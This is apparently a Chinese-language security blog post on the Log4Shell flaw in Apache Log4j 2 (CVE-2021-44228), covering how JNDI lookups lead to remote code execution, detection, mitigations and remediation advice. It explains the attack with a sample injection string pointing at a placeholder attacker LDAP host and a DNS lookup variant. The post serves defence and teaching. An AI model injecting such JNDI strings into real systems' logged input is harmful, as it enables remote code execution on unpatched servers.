简介

2021 年 12 月 9 日，在Log4j的 GitHub 上公开披露了一个影响多个版本的 Apache Log4j 2 实用程序的高严重性漏洞 CVE-2021-44228、CVSSv3 10.0 (https://logging.apache.org/log4j/2.x) 。该漏洞由阿里云安全团队的陈兆军（可能为音译）发现，影响Apache Log4j 2版本2.0至2.14.1。根据开发人员的说法，Log4j的1.x版本不容易受到此漏洞的影响。

该漏洞允许未经身份验证的远程执行代码。

目前已经能够看到较多利用此漏洞的PoC验证攻击代码，该漏洞可通过多种特定于应用程序的方法访问。实际上，任何允许远程连接提供由使用 Log4j 库的应用程序写入日志文件的任意数据的场景都容易受到利用。由于影响面实在太过巨大，威胁等级及实现方式非常危险，Apache基金会将此漏洞标记为最高级别的10级。目前大致能确定以下内容：

• 广泛使用的企业软件的默认安装容易受到攻击。

• 无需身份验证即可可靠地利用此漏洞。

• 该漏洞会影响 Log4j 2 的多个版本。

• 该漏洞允许以运行利用库的应用程序的用户身份远程执行代码。

Log4j 2是一个基于Java的日志库，广泛用于业务系统开发，包含在各种开源库中，并直接嵌入到主要软件应用程序中。影响范围已扩展到数千种产品和设备，包括Struts 2，Solr，Druid，Flink和Swift等Apache产品。由于此漏洞位于 Java 库中，因此 Java 的跨平台性质意味着该漏洞可在许多平台（包括 Windows 和 Linux）上被利用。由于许多基于 Java 的应用程序可以利用 Log4j 2，因此组织应与应用程序供应商联系，或确保其 Java 应用程序运行最新的最新版本。使用Log4j 2的开发人员应确保尽快将最新版本的Log4j合并到他们的应用程序中，以保护用户和组织。

为了便于理解Log4j 2漏洞的影响面和危害性原因，网上出现了漫画图，在这里贴出来供大家一览。

‍‍这张图说明了最简单的原理

这张图说明了为什么会影响这么多系统

再来个中文版的

攻击者使用该漏洞的可能方式可参考Fastly (https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j) 的图片：

在使用Log4j 2的大量的日志记录框架中，开发人员通常认为消息作为基本格式数据进行处理。但通过Log4j 2实际提供了JNDI查找的能力，又没有对这些查找进行限制，由此产生了这个漏洞。

JNDI，Java命名和目录接口，是目录服务的Java API，提供LDAP或DNS接口查找数据和资源，当可以返回的数据类型之一是指向Java类的URI的时候，如果加载了不受信任的Java类，就将不知不觉地远程执行任意代码。

例如记录这样的信息：

log.info("cve-2021-44228 is security nightmare! {}", userInput)

在生产环境中记录HTTP信息作为日志非常常见，这一问题可能如下：

log.inf("Request User-Agent: {}", userAgent)

在初始步骤插入JNDI字串，例如 $(jndi:ldap://attacker.com/a) 后，存在漏洞的Log4j服务器就能够通过URI访问可以执行命令的有效负载。Log4j服务器将执行LDAP查询，然后LDAP服务器将响应有效负载链接的目录信息。

接下来这些链接指向的Java类的有效负载将被加载到内存，由受攻击的Log4j服务器执行。除了LDAP，也可以通过该漏洞强制被攻击的Log4j服务器进行DNS查询，例如 ${jndi:dns://<dns server>/<TXT record query string>} 。我猜理论上可以刷新DNS缓存做DNS劫持。

同时可参考微软提供的供给链参考图片：

检测

如何判断是否在使用的系统受到Log4j组件漏洞影响呢？

1. 如果您在软件清单中找到这些哈希值，那么您的系统中就有易受攻击的log4j：https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes

2. 属于 log4j 库的 JAR 文件的存在可能表明应用程序可能容易受到 CVE-2021-44228 的影响。要搜索的特定文件应符合以下模式："log4j-core-*.jar"

3. 根据安装方法的不同，匹配的 JAR 文件的位置也可能指示哪个应用程序可能容易受到攻击。例如，在 Windows 上，如果文件位于 C：\Program Files\ApplicationName\log4j-core-version.jar 中则表示应调查应用程序名称。在 Linux 上，lsof 实用程序可以显示当前正在使用 JAR 文件的进程，并且可以通过以下语法运行："lsof /path/to/log4j-core-version.jar;"

4. 查看并随时关注有关更新：

• 查看Apache基金会关于Log4j漏洞信息的更新：https://logging.apache.org/log4j/2.x/security.html

• 查看NIST的NVD中该漏洞信息的更新：https://nvd.nist.gov/vuln/detail/CVE-2021-44228

• 如果使用Microsoft产品，查看该漏洞信息的更新：https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/

• 如果使用VMware产品，查看该漏洞信息的更新：https://www.vmware.com/security/advisories/VMSA-2021-0028.html

• 以CVE-2021-44228为关键字搜索更多信息

缓解

如同前面漫画图中显示的，如果您在某个产品或者服务中发现了该漏洞的声明，并不意味着产品或者服务本身存在缺陷，而是我们需要聚焦在这个漏洞本身，进行尽快的修复或缓解。

所有人都希望能充分了解这个漏洞，并在第一时间使用对应的补丁解决问题。不幸的是，软件开发和测试需要周期时间，所以补丁基本上不会比攻击代码出现的更早。但至少我们可以通过建议的缓解措施进行缓解。

1. 通过产品和服务等官方补丁，替换受影响的Log4j 2组件。如上所述，出于兼容性稳定性考虑，不建议自行替换。可随时查看前面提供的产品漏洞说明页面信息更新，以尽早获得补丁。测试后进行生产更新。

2. 问题的根源在于没有限制JNDI的查询限制，因此在Log4j 2组件存在的地方，需要对查询做手动限制。

• Log4J 2 版本 2.10 到 2.14.1 支持将参数 log4j2.formatMsgNoLookups 设置为"true"，以禁用易受攻击的功能。确保在 Java 虚拟机的启动脚本中配置了此参数：-Dlog4j2.formatMsgNoLookups=true。

• 或者，使用 Log4j 2.10 到 2.14.1 的客户可以设置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 环境变量来强制进行此更改。

• Kubernetes 管理员可以使用 "kubectl set env" 来设置 LOG4J_FORMAT_MSG_NO_LOOKUPS="true" 环境变量，以便在 Java 应用程序运行 Log4j 2.10 到 2.14.1 的 Kubernetes 集群中应用缓解措施，从而自动有效地反映在所有 pod 和容器上。

• 对于从 2.0-beta9 到 2.10.0 的版本，缓解措施是从类路径中删除 JndiLookup 类：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

如果系统位于受到防护的网络内部，可以考虑在边缘访问网关，例如WAF上进行访问过滤。目前主流WAF厂商大多已经更新了安全规则，能够识别该漏洞相关的指纹信息。

可以在系统中启用并更新安全软件，例如Defender。如果使用云服务，也可以对访问日志进行监控。可参考：有关预防、检测和搜寻 CVE-2021-44228 Log4j 2 漏洞利用的指南 - Microsoft 安全博客 (https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation)

建议

1. 无需谈虎色变，尽快的厘清架构并评估影响面是第一要务

2. 召集所有相关人员，例如安全、架构和业务团队，评估修复/缓解计划并制定时间表

3. 检查现有架构时，不要仅关注后端（服务器）架构，也应该充分评估使用了Log4j组件的前端（客户端）。客户端的设备是移动的，存在漏洞的设备是可以绕过防火墙的

4. 作为VDI/UEM从业人员，强烈建议在VDI架构中考虑标准化和使用快速的制备方式，在出现风险时能够及时更新到安全和配置基线

5. 充分考虑零信任架构，即使是内网或相同网络，也需要考虑网络微隔离

因赶时间，错漏难免，还请不吝赐教。